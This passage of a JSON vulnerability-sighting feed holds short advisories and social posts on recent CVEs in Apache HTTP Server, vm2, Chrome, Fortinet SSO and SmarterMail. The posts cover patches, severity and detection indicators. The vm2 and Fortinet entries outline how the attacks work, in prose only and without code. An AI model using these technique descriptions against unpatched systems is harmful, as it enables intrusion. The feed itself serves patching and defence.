"2026-05-04T20:00:41.690261Z"}, {"uuid": "724fa0d9-de5f-4fbe-ad08-8c439e56b6f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3ml2ljesytc2o", "content": "Apache HTTP Server\u306e\u8106\u5f31\u6027(Important: CVE-2026-23918, Moderate: CVE-2026-24072, CVE-2026-33006, Low:\u8907\u6570)\u30682.4.67\u30ea\u30ea\u30fc\u30b9\n\n#sios_tech #security #vulnerability #\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 #\u8106\u5f31\u6027 #apache #struts\n\nsecurity.sios.jp/vulnerabilit...", "creation_timestamp": "2026-05-04T21:11:14.764355Z"}, {"uuid": "5a7a243e-632b-422e-8659-c68d5001bf52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24082", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116518494795011826", "content": "There is a new vulnerability with elevated criticality in Qualcomm Snapdragon Auto and other products (CVE-2026-24082) https://vuldb.com/vuln/361056", "creation_timestamp": "2026-05-04T21:45:34.433052Z"}, {"uuid": "f97a7984-64b7-4d11-942c-2a85036d7256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3ml2v2l43l42x", "content": "8/11\n\nhttps://www.cve.org/CVERecord?id=CVE-2026-28780\n    https://www.cve.org/CVERecord?id=CVE-2026-24072\n    https://www.cve.org/CVERecord?id=CVE-2026-23918\n  (* Security fix *)\nn/krb5-1.22.2-x86_64-2.txz:  Rebuilt.\n  Harden perms on /usr/bin/ksu.", "creation_timestamp": "2026-05-05T00:01:52.864957Z"}, {"uuid": "25b1a204-9522-49ac-9c0d-5673221b0806", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3ml4fuvyyd22w", "content": "\ud83d\udd17 CVE : CVE-2026-23918, CVE-2026-24072, CVE-2026-28780, CVE-2026-29168, CVE-2026-29169, CVE-2026-33006, CVE-2026-33007, CVE-2026-33523, CVE-2026-33857, CVE-2026-34032, CVE-2026-34059", "creation_timestamp": "2026-05-05T14:35:36.181968Z"}, {"uuid": "d345441c-e8d0-401d-bfe3-f211bf1c5b28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24120", "type": "seen", "source": "https://gist.github.com/alon710/f3beac366d11264132c16ea4f9f1b920", "content": "# CVE-2026-24120: CVE-2026-24120: Remote Code Execution via Promise Species Hijacking in vm2 Sandbox\n\n> **CVSS Score:** 9.8\n> **Published:** 2026-05-05\n> **Full Report:** https://cvereports.com/reports/CVE-2026-24120\n\n## Summary\nAn incomplete mitigation for a previous sandbox escape in the vm2 Node.js module allows attackers to execute arbitrary code on the host system. By manipulating Promise species and intercepting internal method calls via prototype pollution, attackers bypass sandbox protections and gain full host access.\n\n## TL;DR\nvm2 prior to version 3.10.5 contains a critical sandbox escape (CVSS 9.8). Attackers bypass internal security wrappers by overwriting Function.prototype.call and hijacking Promise creation, achieving unauthenticated remote code execution on the host system.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-94, CWE-693\n- **Attack Vector**: Network\n- **CVSS Score**: 9.8 (Critical)\n- **EPSS Score**: 0.00080 (23.22%)\n- **Exploit Status**: Proof of Concept Available\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Node.js applications running vm2 versions < 3.10.5\n- **vm2**: < 3.10.5 (Fixed in: `3.10.5`)\n\n## Mitigation\n\n- Upgrade vm2 to version 3.10.5 immediately\n- Migrate to alternative isolation technologies (WebAssembly, Docker, Firecracker)\n- Implement strong EDR rules to detect child_process spawning from Node.js\n\n**Remediation Steps:**\n1. Identify all projects and transitive dependencies relying on vm2.\n2. Update package.json and lockfiles to enforce vm2 >= 3.10.5.\n3. Run unit and integration tests to ensure standard functionality remains unaffected by the update.\n4. Initiate an architectural review to deprecate usage of V8-based sandboxing for untrusted code execution.\n\n## References\n\n- [GitHub Release v3.10.5](https://github.com/patriksimek/vm2/releases/tag/v3.10.5)\n- [GitHub Security Advisory GHSA-qvjj-29qf-hp7p](https://github.com/patriksimek/vm2/security/advisories/GHSA-qvjj-29qf-hp7p)\n- [Fix Commit 4b009c2d4b1131c01810c1205e641d614c322a29](https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29)\n- [Red Hot Cyber - Latest Critical Vulnerabilities Analysis](https://www.redhotcyber.com/en/latest-critical-vulnerabilities/)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-24120) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-05-05T16:40:29.000000Z"}, {"uuid": "6babbed5-3900-4140-a7a5-5d847ffbecc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24299", "type": "seen", "source": "https://bsky.app/profile/warthogtk.bsky.social/post/3ml4zuqd7f22t", "content": "Copirate 365 at DEF CON: Plundering in the Depths of Microsoft Copilot (CVE-2026-24299) \u00b7  Embrace The Red embracethered.com/blog/posts/2...", "creation_timestamp": "2026-05-05T20:33:24.740866Z"}, {"uuid": "409ae7ae-91bd-44ca-afce-8a49097b500e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apache-http-server-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T18:00:00.000000Z"}, {"uuid": "c9ee0fb1-c84c-470e-9577-6209bba060e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24084", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3msc5bgd6ii2i", "content": "CVE-2026-24084 - High severity security gap in 5G UE capability verification. Weak config allows replayed security capabilities, risking network integrity. CVSS 7.5. Unpatched - assess and monitor immediately. #CVE #5G #cybersecurity\n\nhttps://www.valtersit.com/cve/CVE-2026-24084/", "creation_timestamp": "2026-08-04T23:13:51.064843Z"}, {"uuid": "b458b46c-b9b2-4b6a-a1c2-164e4fba9ae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/hn_best_comments/28775", "content": "Re: Zero-day CSS: CVE-2026-2441 exists in the wild\n\n\"Google Chromium CSS contains a use-after-free vulnerability that could allow a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\"\n\nThat's pretty bad! I wonder what kind of bounty went to the researcher.\n\nmpeg, 2 days ago", "creation_timestamp": "2026-08-02T00:01:12.314004Z"}, {"uuid": "55defc5c-848d-4fbe-81eb-8670c00b5308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24084", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117039774483463298", "content": "CVE-2026-24084 - High severity security gap in 5G UE capability verification. Weak config allows replayed security capabilities, risking network integrity. CVSS 7.5. Unpatched - assess and monitor immediately. #CVE #5G #cybersecurity\nhttps://www.valtersit.com/cve/CVE-2026-24084/", "creation_timestamp": "2026-08-04T23:13:51.406120Z"}, {"uuid": "5f48ab8d-c61e-4f01-9561-4139eaf97d83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://t.me/CyberDispatch/625", "content": "SmarterMail fixed a critical unauthenticated RCE in its email server software.\n\nThe flaw, CVE-2026-24423 (CVSS 9.3), lets attackers execute OS commands via a crafted remote server. It affects builds before 9511.", "creation_timestamp": "2026-08-31T00:00:11.704907Z"}, {"uuid": "d16678d5-3ffe-4ca2-9ffb-59f120aef651", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24049", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3ml6w2j5p2y2b", "content": "\ud83d\udd17 CVE : CVE-2016-1000027, CVE-2024-12798, CVE-2026-23949, CVE-2026-24049, CVE-2026-27140, CVE-2026-32280, CVE-2026-32281, CVE-2026-32282, CVE-2026-32283, CVE-2026-32285, CVE-2026-32288, CVE-2026-32289, CVE-2026-33810, CVE-2026-34040, CVE-2026-39883", "creation_timestamp": "2026-05-06T14:30:22.773660Z"}, {"uuid": "9bfcfb35-c8e7-46c4-8ebb-57bd44190845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://t.me/purpleshift/154", "content": "\u0413\u043e\u0434 \u043d\u0430\u0437\u0430\u0434 \u043c\u044b \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438, \u043a\u0430\u043a \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0442\u044b\u0441\u044f\u0447 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 Fortinet \u0443\u0442\u0435\u043a\u043b\u0438 \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0418 \u0432\u043e\u0442 \u043e\u043f\u044f\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0442\u043e\u0439 \u0436\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u043c\u0438.\n\n\u0412 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2025 \u0433\u043e\u0434\u0430 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2025-59718 \u0438 CVE-2025-59719 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Fortinet \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 single sign-on (SSO) \u0438 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 FortiCloud. \u042d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u043f\u0440\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e SAML-\u043f\u0430\u043a\u0435\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 FortiOS, FortiWeb, FortiProxy, \u0438\u043b\u0438 FortiSwitch Manager, \u0435\u0441\u043b\u0438 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b SSO.\n\n\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c SSO-\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438\u0441\u044c \u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 Fortinet \u0438 \u0432 \u044f\u043d\u0432\u0430\u0440\u0435. \u042d\u0442\u043e \u0431\u044b\u043b\u0430 \u0443\u0436\u0435 \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24858, \u0438 \u043e\u043d\u0430 \u0442\u043e\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0443\u0447\u0451\u0442\u043a\u043e\u0439 FortiCloud \u043b\u043e\u0433\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0447\u0443\u0436\u0438\u0435 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b FortiOS, FortiManager, FortiAnalyzer, FortiProxy \u0438 FortiWeb. \n\n\u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c\u0441\u044f:\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Fortinet \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0447\u0435\u0440\u0435\u0437 FortiCloud SSO \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044d\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u0442\u043e\u0433\u0434\u0430 SSO- \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0441\u043d\u043e\u0432\u0430 \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041c\u043e\u0436\u043d\u043e \u0438 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c SSO \u0432 \u0432\u0430\u0448\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u2013 \u043d\u0430 \u0441\u043b\u0443\u0447\u0430\u0439, \u0435\u0441\u043b\u0438 \u0432\u0441\u043a\u043e\u0440\u0435 \u043d\u0430\u0439\u0434\u0451\u0442\u0441\u044f \u0438 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u043e\u0433\u043e \u0436\u0435 \u0440\u043e\u0434\u0430.\n\n\u041f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043c\u043e\u0436\u043d\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u043c \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 FortiCloud, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u043b\u044f \u0430\u0442\u0430\u043a, \u0430 \u0442\u0430\u043a\u0436\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0441 \u0446\u0435\u043b\u044c\u044e \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u043c\u0438\u043c\u043e IOCs, \u0430\u0442\u0430\u043a\u0430 \u0432\u044b\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443: \u044d\u0442\u043e \u044d\u043a\u0441\u043f\u043e\u0440\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f.\n\n\u0421 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Fortinet \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u044e \u0434\u043b\u044f \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438:\n\u2014  \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438, IP-\u0430\u0434\u0440\u0435\u0441\u0443 \u0438 \u043c\u0435\u0442\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0435\u0441\u0442\u044c \u0432 \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u0445 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (FTNTFGTmethod=sso \u0438\u043b\u0438 method=sso),\n\u2014 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 (msg=\u201dAdd system.admin \u2026\u201d), \n\u2014 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 (msg=\u201dSystem config file has been downloaded by user \u2026\u201d).\n\n\u0410 \u0435\u0449\u0451 \u0432 \u044f\u043d\u0432\u0430\u0440\u0435, \u043f\u043e\u0447\u0442\u0438 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u043d\u0430 Fortinet, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u0418\u0411-\u043f\u0440\u043e\u0434\u0443\u043a\u0442: \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u043e\u0441\u044c \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u0430 eScan.  \u041c\u043e\u0440\u0430\u043b\u044c: \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442\u044c \u043d\u0443\u0436\u043d\u043e \u0432\u0441\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0438 \u0442\u0435, \u0447\u0442\u043e \u043f\u0440\u0438\u0437\u0432\u0430\u043d\u044b \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c.", "creation_timestamp": "2026-08-04T13:00:04.578501Z"}, {"uuid": "fa48a976-a30f-4070-8a92-669b3ddc6695", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-vulnerabilities-apache-http-server-can-lead-remote-code-execution-patch", "content": "", "creation_timestamp": "2026-05-06T09:37:53.000000Z"}, {"uuid": "50906962-b253-4169-b3d4-44ecd19257ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/sysodmins/28340", "content": "\ud83d\udee1\u041f\u0435\u0440\u0432\u044b\u0439 0-day \u0433\u043e\u0434\u0430 \u0432 Chrome. \n\nGoogle \u0432\u044b\u043a\u0430\u0442\u0438\u043b \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0434\u0435\u0441\u043a\u0442\u043e\u043f\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 Chrome. \u0417\u0430\u043a\u0440\u044b\u0442\u0430 \u043f\u0435\u0440\u0432\u0430\u044f \u0432 2026 \u0433\u043e\u0434\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f (CVE-2026-2441), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f, \u0447\u0442\u043e CISA (\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0421\u0428\u0410) \u0443\u0436\u0435 \u0432\u043d\u0435\u0441\u043b\u043e \u0435\u0451 \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 KEV \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442 \u0433\u043e\u0441\u043e\u0440\u0433\u0430\u043d\u043e\u0432 \u0441\u0440\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c\u0441\u044f.\n\n\u0421\u0443\u0442\u044c \u0434\u044b\u0440\u044b \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430 Blink, \u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 CSSFontFeatureValuesMap. \u042d\u0442\u043e \u0442\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0445\u0438\u0442\u0440\u043e\u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0445 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 \u0432 CSS. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u043a\u043e\u0433\u0434\u0430 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u0443\u0441\u043e\u043a \u043f\u0430\u043c\u044f\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0436\u0435 \u0431\u044b\u043b \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0437\u0430\u043c\u0430\u043d\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443 \u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c CSS, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u0432\u043a\u043b\u0430\u0434\u043a\u0438 \u0438\u043b\u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 